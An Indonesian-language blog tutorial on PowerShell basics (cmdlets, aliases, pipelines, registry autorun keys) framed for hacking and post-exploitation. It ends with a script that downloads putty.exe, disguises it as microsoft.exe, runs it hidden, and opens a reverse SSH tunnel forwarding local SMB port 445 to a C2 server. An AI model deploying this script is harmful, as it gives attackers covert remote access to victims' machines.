Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system
Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system unix-like kita kenal dengan bash script yang yang merupakan command shell berbasis text, tidak seperti shell script lain uniknya pada powershell sendiri menggunakan shell yang berbasis object jadi semua command pada powershell dianggap sebagai suatu object, menarik bukan ?
Oh iya powershell sendiri mulai diperkenalkan pada windows XP yang dimana dulu powershell hanya bisa dipake pada windows environment tetapi sekarang kita bisa juga menginstall powershell pada operating system lain karena microsoft merilis powershell sebagai opensource.
Karena powershell itu tersedia secara default pada operating system windows jadi mempelajari powershell sangat berguna saat kita mendapatkan initial access pada windows machine jadi sesuai topik ini yaitu Powershell for hacking jadi kita akan belajar basic command serta melihat command apa saja yang sering dipakai pada powershell pada saat melakukan hacking/post-exploitation
Sebelum kita memulai kita perlu mengenal yang namanya cmdlet, cmdlet merupakan namming pattern yang berisi kata kerja dan kata benda pada suatu command jadi misalkan command Get-ChildItem yang digunakan untuk listing directory jadi Get merupakan kata kerja sementara ChildItem merupakan kata benda. cmdlet itu ada banyak sekali tetapi kita tidak perlu menghafalnya cukup kita perlu menginggat 2 command saja yaitu Get-Command yang digunakan untuk menampilkan semua atau spesifik nama dari cmdlet pada powershell dan command kedua ada Get-Help yang berfungsi untuk melihat detail dari cmdlet tersebut seperti argument dan penggunaan pada command cmdlet
Ada 3 CommandType yang ada pada powershell dimana di klasifikasikan menjadi 3 yaitu Alias, Function dan terakhir yang kita bahas tadi yaitu cmdlet jadi mari kita bahas:
Alias : Bisa dibilang alias ini seperti singkatan dari cmdlet dan function dari powershell dan kita bisa mudah melihatnya menggunakan command get-alias

beberapa command alias mirip dengan bash seperti alias cat untuk membaca file yang aslinya merupakan cmdlet dari Get-Content lalu ada alias cd dan chdir untuk berpindah directory yang juga sebenarnya merupakan command cmdlet dari Set-Location
Function : function ini sebenernya juga masuk ke cmdlet tetapi kita juga bisa melakukan custom function pada powershell atau yang dikenal dengan user defined function

Disini kita coba definisikan fungsi InfoTanggal-dan-IpAddress yang hanya menampilkan informasi tanggal dan IP Address pada local computer dan pada gambar kita bisa melihat pada blok fungsi kita memanggil cmdlet Get-Date dan alias gip yang memfilter hanya untuk menampilkan IP address
Cmdlet: Seperti yang dibahas sebelumnya, cmdlet berisi suatu perintah dasar seperti menampilkan directory, berpindah directory, membuat file, membuat folder dan banyak lagi ya, contoh cmdlet yang sering digunakan:
- Get-ChildItem : untuk listing directory
- Set-Location: Untuk berpindah directory
- Get-Content : Untuk membaca file
- Add-Content : untuk membuat file / append string jika file sudah ada
- Set-Content : Untuk membuat file / modifikasi string jika file sudah ada
- Remove-Item : menghapus file / directory
- Rename-Item : rename file / directory
- Copy-Item : salin file / directory
- Move-Item : pindahkan file / directory
Sebenarnya masih banyak lagi ya cuman kalian bisa explore sendiri untuk lebih lengkapnya, nah disini misalkan kasusnya kita tidak mengerti bagaimana cmdlet Add-Content bekerja kita bisa mudah menggunakan command Get-Help Add-Content untuk menampilkan informasi bantuan pada cmdlet tersebut

Nah ditampilkan informasi argument apa saja yang dibutuhkan, tenang saja kita tidak membutuhkan semua argument hanya argument yang wajib/required kita gunakan yaitu -Path yang merupakan nama file dan -Value isi pada string dan jika kurang jelas kita bisa melihat di dokumentasi microsoft pada link yang sudah disertakan pada output atau bisa juga menggunakan command Get-Help nama_cmdlet -Full

Disini sangat detail karena disertakan hingga penjelasan dari parameter yang required dan opsional jadi langsung saja kita coba

Disini kita memakai cmdlet Add-Content untuk membuat file serta kita coba baca dari file yang kita buat memakai cmdlet Get-Content, semudahh itu kan
Setelah kita tau cmdline, alias dan function sekarang kita akan membahas pipeline, nah apa itu ?? jadi pipeline itu suatu cara pada powershell yang digunakan untuk mengarahkan output ke command lain menggunakan satu baris command dan hal ini berguna misalkan untuk sorting string, mencari string tertentu dalam file/output, memfilter output, melakukan operasi pada string yang dipilih dan masih banyak lagi.
Sama seperti pada bash, pipeline pada powershell juga menggunakan special character |(pipe) tetapi karena powershell semua command di respresentasikan sebagai object jadi kita bisa melakukannya lebih mudah
Kita mulai dengan cmdlet Get-Service yang berguna untuk menampilkan semua service pada computer

Dan disini kita hanya akan memfilter nama pada service jadi kita bisa dengan mudah menggunakan pipeline dan diikut dengan cmdlet Select-Object

Sangat mudah bukan, dimana kita melakukan Select-Object Name dimana Name merupakan parameter Name diambil dari column dari output Get-Service, Nah sekarang kita akan menampilkan hanya service yang memiliki status stop / tidak running kita dengan mudah menggunakan Where-Object

Output hanya menampilkan service dengan status stopped dan disitu kita menggunakan Where-Object diikuti dengan {$_.Status -eq “Stopped”} yang dimana hal ini merupakan rules syntax dari powershell sendiri dan $_.Status artinya kita mengambil column status dan -eq merupakan operasi komparasi sama dengan dan diikuti dengan string “Stopped”
Kita juga bisa menggunakan lebih dari 2 pipeline

Dalam kasus ini kita akan memilih service yang berstatus “Stopped” dan diikuti dengan Select-Object Name artinya kita hanya memanggil nama dari service pada output yang berarti menampilkan nama service dengan status Stopped
Contoh selanjutnya kita akan mulai bekerja dengan file yaitu menampilkan file pada current path yang lebih baru dari 30 hari sebelumnya, kita tahu jika operasi listing menggunakan Get-ChildItem

Sebelum kita memulai kita perlu tau dulu spesifikasi dari command Get-ChildItem dimana kita bisa melakukan scanning rekursif menggunakan argument -Recurse dan kita juga bisa melihat argument yang bersifat required dan bukan.
Selanjutnya kita bisa memanfaatkan pipeline untuk ini

Disini command-nya sangat sederhana pertama kita recursif scan menggunakan -Recurse dan -File merupakan argument yang hanya digunakan untuk melakukan scanning pada file bukan directory dan kita lakukan pipeline dengan where-object artinya kita akan melakukan compare dimana $_.LastWriteTime merupakan column timestamp dan -ge merupakan operasi lebih dari diikuti dengan fungsi (Get-Date).AddDays(-30) yang berarti kita mengambil tanggal sekarang dikurangi 30 hari dan lanjut melakukan select column dimana disitu kita hanya akan menampilkan fullpath dengan menggunakan argument Fullname
Contoh terakhir kita akan melihat kemampuan cmdlet untuk melihat dan melakukan konfigurasi system
Kita bisa dengan mudah menampilkan semua subkey registry HKCU menggunakan Get-ChildItem

Kita juga bisa melihat value dari hive registry menggunakan cmdlet Get-ItemProperty diikuti path dari registry key-nya

Disini kita bisa melihat autorun program yang dijalankan pada saat selesai booting diantaranya ada openvpn-gui.exe, discord, opera.exe dan lainnya ya
Dan kita bisa menghapus salah satu value dari registry tersebut menggunakan Remove-ItemProperty, disini kita akan mencoba untuk menghapus discord agar tidak dijalankan saat computer dinyalakan

Pada gambar ini, terlihat kita menghapus value dengan nama discord jadi sekarang discord tidak lagi menjadi autorun program
Powershell sendiri sebenarnya suatu utility yang sangat powerfull entah dari segi sysadmin, configuration, automation maupun pentesting karena kita bisa melakukan apapun pada machine hanya dengan input suatu command dan juga kita bisa membuat script powershell pada satu file dengan extension .ps1, jadi kita akan mencoba coding untuk menjalankan executable jadi siapkan text editor disini kita akan menggunakan vscode

oke kita bedah scriptnya, jadi pada script powershell ini digunakan untuk menjalankan suatu executable yaitu putty, putty adalah suatu aplikasi yang dipake untuk keperluan remote jaringan dan kita bisa menggunakan putty untuk komunikasi pada protocol ssh, ftp, smb dan protocol yang digunakan untuk remote login lainnya
$processName = "microsoft"
$tempDir = [System.IO.Path]::GetTempPath()
$exePath = Join-Path -Path $tempDir -ChildPath "microsoft.exe"
$downloadUrl = "http://[redacted]/putty.exe"
Sama seperti programming pada umumnya, kita bisa mendeklarasikan variable pada powershell disini kita inisialisasi variable seperti ProcessName, tempDir, exePath dan downloadUrl
function IsProcessRunning {
param (
[string]$name
)
$process = Get-Process | Where-Object { $_.ProcessName -eq $name }
return $process -ne $null
}
if (-not (IsProcessRunning $processName)) {
if (-not (Test-Path $exePath)) {
Write-Host "$exePath Downloading"
Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath
Write-Host "Success"
}
$args = @("-N", "-l", "guest", "-pw", "admin12345", "-R", "1337:localhost:445", "[redacted_host]", "-hostkey", "SHA256:xbI5/Mcj2KrXg3ykreniRYhZUs9IQGb/secret")
Start-Process -FilePath $exePath -ArgumentList $args -WindowStyle Hidden
Write-Host "$processName not running, $exePath"
} else {
Write-Host "$processName running."
}
Pada fungsi IsProcessRunning berguna untuk melakukan filter process dengan 1 argument yang diambil dari variable processName dengan nama microsoft dan selanjutnya ada if statement
if (-not (IsProcessRunning $processName))
Artinya kita identifikasi apakah process microsoft itu running dan jika belum running maka dilakukan komparasi kedua apakah ada file pada $exePath yang dimana variable $exePath merupakan temporary directory dan diikuti dengan nama file yaitu microsoft.exe jika tidak ada maka akan dilakukan download pada url yang mengambil pada variable $downloadUrl dan jika ada maka lanjut pada line berikutnya
Disini ada inisialisasi array pada variable $args yang merupakan argument pada cmdlet dari Start-Process dan diikut dengan argument -WindowStyle Hidden yang berarti process akan dilakukan pada background, jadi script ini berfungsi untuk melakukan SSH tunneling dimana pada host local melakukan port forwarding dari 445(smb) ke server c2 dengan port 1337 sehingga login smb pada local computer bisa dilakukan remote pada c2 server dengan port 1337.
Penutup
mungkin itu saja penjelasan fundamental mengenai powershell scripting, yang dimana memang powershell ini sangat usefull terlebih lagi di sisi cybersecurity saat melakukan pentesting/CTF pada windows machine dan semoga artikel ini bermanfaat dan bisa dijadikan refrensi untuk kedepannya.
“Orang bijak belajar ketika mereka bisa. Orang bodoh belajar ketika mereka dipaksa.” -Arthur
Refrensi:
https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4
https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4
https://www.techtarget.com/whatis/definition/cmdlet
https://juggernaut-sec.com/autorun-startup-registry-keys

ajarin ngehek website bang